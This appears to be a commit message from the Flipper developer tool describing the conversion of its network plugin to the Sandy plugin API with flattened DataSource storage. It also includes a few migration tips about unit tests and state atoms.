Convert network plugin to Sandy

Summary: converted the network plugin to use DataSource / DataTable. Restructured the storage to contain a single flat normalised object that will be much more efficient for rendering / filtering (as columns currently don't support nested keys yet, and lazy columns are a lot less flexible) lint errors and further `flipper` package usages will be cleaned up in the next diff to make sure this diff doesn't become too large. The rest of the plugin is converted in the next diff Reviewed By: nikoant Differential Revision: D27938581 fbshipit-source-id: 2e0e2ba75ef13d88304c6566d4519b121daa215b

 * These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
 * Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
 * If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.
